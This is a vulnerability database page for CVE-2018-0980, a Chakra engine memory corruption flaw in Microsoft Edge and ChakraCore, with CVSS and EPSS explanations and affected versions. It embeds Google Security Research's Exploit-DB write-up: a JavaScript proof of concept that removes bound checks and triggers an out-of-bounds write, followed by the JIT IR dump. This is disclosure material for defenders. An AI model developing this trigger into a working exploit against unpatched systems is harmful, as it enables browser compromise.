CVE-2018-0980 : Detail

CVE-2018-0980

7.5
/
High
Overflow
79.62%V3
Network
2018-04-11
23h00 +00:00
2018-05-20
07h57 +00:00
CVE.org
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CVE Descriptions

A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka "Chakra Scripting Engine Memory Corruption Vulnerability." This affects Microsoft Edge, ChakraCore. This CVE ID is unique from CVE-2018-0979, CVE-2018-0990, CVE-2018-0993, CVE-2018-0994, CVE-2018-0995, CVE-2018-1019.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44653

Publication date : 2018-05-17 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Chakra uses the InvariantBlockBackwardIterator class to backpropagate the information about the hoisted bound checks. But the class follows the linked list instaed of the control flow. This may lead to incorrectly remove the bound checks. In the following code, currentBlock's block number is 4 and hoistBlock's block number is 1 (please see the IR code). I assume it should visit 4 -> 3 (skipped) -> 1 (break) in order with following the control flow, but it actually visits 4 -> 3 (skipped) -> 2 -> 1 (break) in order. This makes the block 2 have the wrong information about the bounds which affects the bound checks in the block 5 to be removed. https://github.com/Microsoft/ChakraCore/blob/48c73e51c3e0fb36a08fa844cdb88c9d8a54de32/lib/Backend/GlobOpt.cpp#L14667 if(hoistBlock != currentBlock) { for(InvariantBlockBackwardIterator it(this, currentBlock->next, hoistBlock, nullptr); it.IsValid(); it.MoveNext()) { BasicBlock *const block = it.Block(); ... PoC: */ function opt(arr, idx) { ((arr.length === 0x7ffffff0 && arr[0x7ffffff0]) || false) && (arr.length === 0x7ffffff0 && arr[0x7ffffff1]) || (arr[0x11111111] = 0x1234); } function main() { let arr = new Uint32Array(1); for (let i = 0; i < 10000; i++) { opt(arr); } } main(); /* Here's the IR code for the PoC: FunctionEntry # --------- BLOCK 0: Out(1, 2) $L8: # s1[Object].var = Ld_A 0xXXXXXXXX (GlobalObject)[Object].var # s21(s2)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 2147483632 (0x7FFFFFF0)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 # s3[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var # s22(s4)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 2147483633 (0x7FFFFFF1)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 # s23(s5)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 286331153 (0x11111111)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 # s24(s6)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 # s7[LikelyCanBeTaggedValue_Uint32Array].var = ArgIn_A prm2<40>[LikelyCanBeTaggedValue_Uint32Array].var! # s8[LikelyUndefined_CanBeTaggedValue].var = ArgIn_A prm3<48>[LikelyUndefined_CanBeTaggedValue].var! # Line 2: arr.length === 0x7ffffff0 && arr[0x7ffffff0]) || false) && (arr.length === 0x7ffffff0 && arr[0x7ffffff1]) || (arr[0x11111111] = 0x1234); Col 7: ^ StatementBoundary #0 #0000 BailOnNotArray s7[LikelyCanBeTaggedValue_Uint32Array].var #0000 Bailout: #0000 (BailOutOnNotArray) s25.u32 = LdIndir [s7[Uint32Array].var+32].u32 #0000 NoImplicitCallUses s25.u32 #0000 ByteCodeUses s7 #0000 s26(s10)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s25.u32 #0000 s15[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0004 s9[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0004 ByteCodeUses s10 #0004 BrNeq_I4 $L4, s26(s10)[CanBeTaggedValue_Int_IntCanBeUntagged].i32!, 2147483632 (0x7FFFFFF0).i32 #0004 --------- BLOCK 1: In(0) Out(2, 3) $L7: #0008 s15[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0008 s9[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0008 BoundCheck 2147483633 < s25.u32 #000f Bailout: #000f (BailOutOnFailedHoistedBoundCheck) s27.u64 = LdIndir [s7[Uint32Array].var+56].u64 #000f NoImplicitCallUses s25.u32 #000f s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = LdElemI_A [s7[Uint32Array][seg: s27][segLen: s25][><].var+2147483632].var #000f Bailout: #000f (BailOutConventionalTypedArrayAccessOnly) ByteCodeUses s16 #0015 s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0015 s9[CanBeTaggedValue_Int].var = ToVar s29(s9)[CanBeTaggedValue_Int].i32 #0018 ByteCodeUses s16 #0018 BrTrue_I4 $L3, s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32! #0018 --------- BLOCK 2: In(0, 1) Out(5) $L4: #001c s9[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #001c Br $L2 #001e --------- BLOCK 3: In(1) Out(4) DeadOut(5) $L3: #0021 NoImplicitCallUses s25.u32 #0021 ByteCodeUses s7 #0021 s30(s17)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s25.u32 #0021 s18[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0025 s9[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0025 ByteCodeUses s17 #0025 --------- BLOCK 4: In(3) Out(8, 5) $L6: #0029 s18[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0029 s9[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0029 NoImplicitCallUses s25.u32 #0030 s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = LdElemI_A [s7[Uint32Array][seg: s27][segLen: s25][><].var+2147483633].var #0030 Bailout: #0030 (BailOutConventionalTypedArrayAccessOnly) ByteCodeUses s19 #0036 s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0036 s9[CanBeTaggedValue_Int].var = ToVar s29(s9)[CanBeTaggedValue_Int].i32 #0039 ByteCodeUses s19 #0039 BrTrue_I4 $L9, s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32! #0039 --------- BLOCK 5: In(2, 4) Out(6) DeadIn(3) $L2: #003d s32.u64 = LdIndir [s7[Uint32Array].var+56].u64 #003d NoImplicitCallUses s25.u32 #003d [s7[Uint32Array][seg: s32][segLen: s25][><].var+286331153].var = StElemI_A 4660 (0x1234).i32 #003d Bailout: #003d (BailOutConventionalTypedArrayAccessOnly) s33(s20)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0043 ByteCodeUses s20 #0046 s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0046 s34.u64 = Ld_A s32.u64 #004b Br $L1 #004b --------- BLOCK 8: **** Air lock Block **** In(4) Out(6) $L9: #004b s34.u64 = Ld_A s27.u64 #004b Br $L1 #004b --------- BLOCK 6: In(8, 5) Out(7) $L1: #004b s0[Undefined].var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #004b Line 3: } Col 1: ^ StatementBoundary #1 #004d StatementBoundary #-1 #004d Ret s0[Undefined].var! #004d --------- BLOCK 7: In(6) $L5: # ---------------------------------------------------------------------------------------- */

Products Mentioned

Configuraton 0

Microsoft>>Edge >> Version *

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>Chakracore >> Version To (excluding) 1.8.3

References

http://www.securitytracker.com/id/1040650
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/103626
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/44653/
Tags : exploit, x_refsource_EXPLOIT-DB